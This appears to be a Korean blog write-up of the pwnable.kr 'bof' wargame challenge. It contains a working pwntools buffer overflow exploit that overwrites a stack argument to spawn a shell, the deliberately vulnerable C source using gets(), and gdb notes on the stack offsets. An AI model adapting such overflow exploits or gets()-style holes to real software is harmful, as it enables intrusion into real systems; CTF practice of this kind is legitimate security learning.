from pwn import *
p = remote("pwnable.kr", 9000)
pay = b'A'*(0x2c+0x8)+p32(0xcafebabe)
p.sendline(pay)
p.interactive()
<소스코드>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void func(int key){
char overflowme[32];
printf("overflow me : ");
gets(overflowme); // smash me!
if(key == 0xcafebabe){
system("/bin/sh");
}
else{
printf("Nah..\n");
}
}
int main(int argc, char* argv[]){
func(0xdeadbeef);
return 0;
}
// bof: partial RELOR, No Canary, PIE, NX
// gdb로 분석해보니 x86체계네, 스택 통해 인자 전달
// func 스택프레임 상에서 overflowme bof시켜서 키값 조작
// 실행 권한이 안들어가있네 chmod +x ./bof 해서 실행권한 주고 디버깅
// 실행권한 없으면 permission denied 뜸
// b main 후 run 시킨 후 dynamically linked 된 상태에서 disassemble func (각 call이 무슨함수 호출하는지 나와서 분석쉬움)
// 아니면 두번째 call은 get, 0xcafebabe와 cmp하는 대상은 key 이렇게 분석해도 됨
// overflowme=[ebp-0x2c], key=[ebp+0x8]
'security > 포너블 - pwnable.kr' 카테고리의 다른 글
pwnable.kr - [Toddler's Bottle] cmd2 (0) | 2023.02.05 |
---|---|
pwnable.kr - [Toddler's Bottle] cmd1 (0) | 2023.02.05 |
pwnable.kr - [Toddler's Bottle] bluekat (0) | 2023.02.05 |
pwnable.kr - [Toddler's Bottle] asm (2) | 2023.02.05 |
pwnable.kr - 서버에 위치한 바이너리 다운로드 방법 (0) | 2023.02.05 |